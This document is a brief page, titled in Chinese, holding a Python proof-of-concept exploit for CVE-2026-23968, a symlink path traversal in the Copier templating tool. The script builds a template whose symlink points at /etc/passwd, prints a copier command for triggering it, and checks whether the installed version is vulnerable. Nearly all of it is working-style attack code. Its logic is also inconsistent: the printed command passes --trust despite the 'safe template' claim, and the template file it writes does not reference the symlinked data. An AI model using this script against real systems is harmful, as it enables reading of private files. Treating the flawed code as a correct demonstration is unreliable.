CVE-2026-23968 Copier安全模板路径遍历漏洞

# Malicious template structure for CVE-2026-23968 # This PoC demonstrates how a safe template can read arbitrary files via symlinks import os import tempfile import shutil from pathlib import Path def create_malicious_template(): """ Create a malicious template that exploits CVE-2026-23968 to read arbitrary files from the system. """ template_dir = Path(tempfile.mkdtemp()) # Create template structure src_dir = template_dir / "src" src_dir.mkdir() # Create symlink to sensitive file (e.g., /etc/passwd) # This works because _preserve_symlinks: false is the default symlink_path = src_dir / "sensitive_data.txt" # Target file to read (attacker-controlled via template) target_file = "/etc/passwd" try: os.symlink(target_file, symlink_path) print(f"[+] Created symlink: {symlink_path} -> {target_file}") except OSError as e: print(f"[-] Failed to create symlink: {e}") return None # Create copier.yml (safe template config - no UNSAFE features) copier_yml = src_dir / "copier.yml" copier_yml.write_text("""# This is a 'safe' template - no custom Jinja extensions project_name: my-project """) # Create template file that will include the symlinked content template_file = src_dir / "{{ project_name }}" / "data.txt" template_file.parent.mkdir(parents=True, exist_ok=True) template_file.write_text("{{ _copier_answers_file }}") print(f"[+] Malicious template created at: {template_dir}") print(f"[+] To exploit, run: copier copy {src_dir} /tmp/output --trust") return template_dir def verify_vulnerability(): """ Verify if the system is vulnerable to CVE-2026-23968 """ try: import copier version = copier.__version__ print(f"[*] Copier version: {version}") # Versions < 9.11.2 are vulnerable major, minor, patch = map(int, version.split('.')) if major < 9 or (major == 9 and minor < 11) or (major == 9 and minor == 11 and patch < 2): print("[-] System is VULNERABLE to CVE-2026-23968") return True else: print("[+] System is NOT vulnerable (patched)") return False except ImportError: print("[-] Copier not installed") return None if __name__ == "__main__": print("=" * 60) print("CVE-2026-23968 PoC - Copier Symlink Path Traversal") print("=" * 60) verify_vulnerability() create_malicious_template()